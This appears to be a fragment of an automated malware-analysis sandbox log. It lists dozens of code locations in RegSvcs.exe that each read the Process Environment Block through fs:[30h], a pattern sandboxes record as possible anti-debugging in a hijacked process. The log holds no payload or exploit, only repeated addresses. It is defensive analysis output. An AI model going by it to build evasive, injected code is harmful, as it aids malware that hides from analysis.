Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FE5E7 mov eax, dword ptr fs:[00000030h]	14_2_016FE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D25E0 mov eax, dword ptr fs:[00000030h]	14_2_016D25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C5ED mov eax, dword ptr fs:[00000030h]	14_2_0170C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C5ED mov eax, dword ptr fs:[00000030h]	14_2_0170C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A5D0 mov eax, dword ptr fs:[00000030h]	14_2_0170A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A5D0 mov eax, dword ptr fs:[00000030h]	14_2_0170A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D65D0 mov eax, dword ptr fs:[00000030h]	14_2_016D65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E5CF mov eax, dword ptr fs:[00000030h]	14_2_0170E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E5CF mov eax, dword ptr fs:[00000030h]	14_2_0170E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017505A7 mov eax, dword ptr fs:[00000030h]	14_2_017505A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017505A7 mov eax, dword ptr fs:[00000030h]	14_2_017505A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017505A7 mov eax, dword ptr fs:[00000030h]	14_2_017505A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F45B1 mov eax, dword ptr fs:[00000030h]	14_2_016F45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F45B1 mov eax, dword ptr fs:[00000030h]	14_2_016F45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E59C mov eax, dword ptr fs:[00000030h]	14_2_0170E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D2582 mov eax, dword ptr fs:[00000030h]	14_2_016D2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D2582 mov ecx, dword ptr fs:[00000030h]	14_2_016D2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01704588 mov eax, dword ptr fs:[00000030h]	14_2_01704588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175C460 mov ecx, dword ptr fs:[00000030h]	14_2_0175C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FA470 mov eax, dword ptr fs:[00000030h]	14_2_016FA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FA470 mov eax, dword ptr fs:[00000030h]	14_2_016FA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FA470 mov eax, dword ptr fs:[00000030h]	14_2_016FA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178A456 mov eax, dword ptr fs:[00000030h]	14_2_0178A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C645D mov eax, dword ptr fs:[00000030h]	14_2_016C645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E443 mov eax, dword ptr fs:[00000030h]	14_2_0170E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F245A mov eax, dword ptr fs:[00000030h]	14_2_016F245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A430 mov eax, dword ptr fs:[00000030h]	14_2_0170A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CC427 mov eax, dword ptr fs:[00000030h]	14_2_016CC427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CE420 mov eax, dword ptr fs:[00000030h]	14_2_016CE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CE420 mov eax, dword ptr fs:[00000030h]	14_2_016CE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CE420 mov eax, dword ptr fs:[00000030h]	14_2_016CE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756420 mov eax, dword ptr fs:[00000030h]	14_2_01756420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756420 mov eax, dword ptr fs:[00000030h]	14_2_01756420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756420 mov eax, dword ptr fs:[00000030h]	14_2_01756420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756420 mov eax, dword ptr fs:[00000030h]	14_2_01756420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756420 mov eax, dword ptr fs:[00000030h]	14_2_01756420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756420 mov eax, dword ptr fs:[00000030h]	14_2_01756420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01756420 mov eax, dword ptr fs:[00000030h]	14_2_01756420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01708402 mov eax, dword ptr fs:[00000030h]	14_2_01708402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01708402 mov eax, dword ptr fs:[00000030h]	14_2_01708402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01708402 mov eax, dword ptr fs:[00000030h]	14_2_01708402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D04E5 mov ecx, dword ptr fs:[00000030h]	14_2_016D04E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017044B0 mov ecx, dword ptr fs:[00000030h]	14_2_017044B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175A4B0 mov eax, dword ptr fs:[00000030h]	14_2_0175A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D64AB mov eax, dword ptr fs:[00000030h]	14_2_016D64AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178A49A mov eax, dword ptr fs:[00000030h]	14_2_0178A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D8770 mov eax, dword ptr fs:[00000030h]	14_2_016D8770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770 mov eax, dword ptr fs:[00000030h]	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01754755 mov eax, dword ptr fs:[00000030h]	14_2_01754755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712750 mov eax, dword ptr fs:[00000030h]	14_2_01712750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712750 mov eax, dword ptr fs:[00000030h]	14_2_01712750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175E75D mov eax, dword ptr fs:[00000030h]	14_2_0175E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0750 mov eax, dword ptr fs:[00000030h]	14_2_016D0750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170674D mov esi, dword ptr fs:[00000030h]	14_2_0170674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170674D mov eax, dword ptr fs:[00000030h]	14_2_0170674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170674D mov eax, dword ptr fs:[00000030h]	14_2_0170674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174C730 mov eax, dword ptr fs:[00000030h]	14_2_0174C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170273C mov eax, dword ptr fs:[00000030h]	14_2_0170273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170273C mov ecx, dword ptr fs:[00000030h]	14_2_0170273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170273C mov eax, dword ptr fs:[00000030h]	14_2_0170273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C720 mov eax, dword ptr fs:[00000030h]	14_2_0170C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C720 mov eax, dword ptr fs:[00000030h]	14_2_0170C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01700710 mov eax, dword ptr fs:[00000030h]	14_2_01700710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C700 mov eax, dword ptr fs:[00000030h]	14_2_0170C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0710 mov eax, dword ptr fs:[00000030h]	14_2_016D0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F27ED mov eax, dword ptr fs:[00000030h]	14_2_016F27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F27ED mov eax, dword ptr fs:[00000030h]	14_2_016F27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F27ED mov eax, dword ptr fs:[00000030h]	14_2_016F27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175E7E1 mov eax, dword ptr fs:[00000030h]	14_2_0175E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D47FB mov eax, dword ptr fs:[00000030h]	14_2_016D47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D47FB mov eax, dword ptr fs:[00000030h]	14_2_016D47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DC7C0 mov eax, dword ptr fs:[00000030h]	14_2_016DC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017507C3 mov eax, dword ptr fs:[00000030h]	14_2_017507C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D07AF mov eax, dword ptr fs:[00000030h]	14_2_016D07AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017847A0 mov eax, dword ptr fs:[00000030h]	14_2_017847A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177678E mov eax, dword ptr fs:[00000030h]	14_2_0177678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01702674 mov eax, dword ptr fs:[00000030h]	14_2_01702674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A660 mov eax, dword ptr fs:[00000030h]	14_2_0170A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A660 mov eax, dword ptr fs:[00000030h]	14_2_0170A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179866E mov eax, dword ptr fs:[00000030h]	14_2_0179866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179866E mov eax, dword ptr fs:[00000030h]	14_2_0179866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EC640 mov eax, dword ptr fs:[00000030h]	14_2_016EC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D262C mov eax, dword ptr fs:[00000030h]	14_2_016D262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE627 mov eax, dword ptr fs:[00000030h]	14_2_016EE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01706620 mov eax, dword ptr fs:[00000030h]	14_2_01706620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01708620 mov eax, dword ptr fs:[00000030h]	14_2_01708620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E260B mov eax, dword ptr fs:[00000030h]	14_2_016E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E260B mov eax, dword ptr fs:[00000030h]	14_2_016E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E260B mov eax, dword ptr fs:[00000030h]	14_2_016E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E260B mov eax, dword ptr fs:[00000030h]	14_2_016E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E260B mov eax, dword ptr fs:[00000030h]	14_2_016E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E260B mov eax, dword ptr fs:[00000030h]	14_2_016E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E260B mov eax, dword ptr fs:[00000030h]	14_2_016E260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712619 mov eax, dword ptr fs:[00000030h]	14_2_01712619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E609 mov eax, dword ptr fs:[00000030h]	14_2_0174E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017506F1 mov eax, dword ptr fs:[00000030h]	14_2_017506F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017506F1 mov eax, dword ptr fs:[00000030h]	14_2_017506F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0174E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0174E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0174E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E6F2 mov eax, dword ptr fs:[00000030h]	14_2_0174E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A6C7 mov ebx, dword ptr fs:[00000030h]	14_2_0170A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170A6C7 mov eax, dword ptr fs:[00000030h]	14_2_0170A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017066B0 mov eax, dword ptr fs:[00000030h]	14_2_017066B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170C6A6 mov eax, dword ptr fs:[00000030h]	14_2_0170C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D4690 mov eax, dword ptr fs:[00000030h]	14_2_016D4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D4690 mov eax, dword ptr fs:[00000030h]	14_2_016D4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175C97C mov eax, dword ptr fs:[00000030h]	14_2_0175C97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F6962 mov eax, dword ptr fs:[00000030h]	14_2_016F6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F6962 mov eax, dword ptr fs:[00000030h]	14_2_016F6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F6962 mov eax, dword ptr fs:[00000030h]	14_2_016F6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01774978 mov eax, dword ptr fs:[00000030h]	14_2_01774978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01774978 mov eax, dword ptr fs:[00000030h]	14_2_01774978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0171096E mov eax, dword ptr fs:[00000030h]	14_2_0171096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0171096E mov edx, dword ptr fs:[00000030h]	14_2_0171096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0171096E mov eax, dword ptr fs:[00000030h]	14_2_0171096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01750946 mov eax, dword ptr fs:[00000030h]	14_2_01750946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A4940 mov eax, dword ptr fs:[00000030h]	14_2_017A4940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0176892B mov eax, dword ptr fs:[00000030h]	14_2_0176892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175892A mov eax, dword ptr fs:[00000030h]	14_2_0175892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175C912 mov eax, dword ptr fs:[00000030h]	14_2_0175C912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C8918 mov eax, dword ptr fs:[00000030h]	14_2_016C8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C8918 mov eax, dword ptr fs:[00000030h]	14_2_016C8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E908 mov eax, dword ptr fs:[00000030h]	14_2_0174E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174E908 mov eax, dword ptr fs:[00000030h]	14_2_0174E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017029F9 mov eax, dword ptr fs:[00000030h]	14_2_017029F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017029F9 mov eax, dword ptr fs:[00000030h]	14_2_017029F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175E9E0 mov eax, dword ptr fs:[00000030h]	14_2_0175E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017049D0 mov eax, dword ptr fs:[00000030h]	14_2_017049D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179A9D3 mov eax, dword ptr fs:[00000030h]	14_2_0179A9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017669C0 mov eax, dword ptr fs:[00000030h]	14_2_017669C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA9D0 mov eax, dword ptr fs:[00000030h]	14_2_016DA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA9D0 mov eax, dword ptr fs:[00000030h]	14_2_016DA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA9D0 mov eax, dword ptr fs:[00000030h]	14_2_016DA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA9D0 mov eax, dword ptr fs:[00000030h]	14_2_016DA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA9D0 mov eax, dword ptr fs:[00000030h]	14_2_016DA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DA9D0 mov eax, dword ptr fs:[00000030h]	14_2_016DA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D09AD mov eax, dword ptr fs:[00000030h]	14_2_016D09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D09AD mov eax, dword ptr fs:[00000030h]	14_2_016D09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017589B3 mov esi, dword ptr fs:[00000030h]	14_2_017589B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017589B3 mov eax, dword ptr fs:[00000030h]	14_2_017589B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017589B3 mov eax, dword ptr fs:[00000030h]	14_2_017589B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0 mov eax, dword ptr fs:[00000030h]	14_2_016E29A0
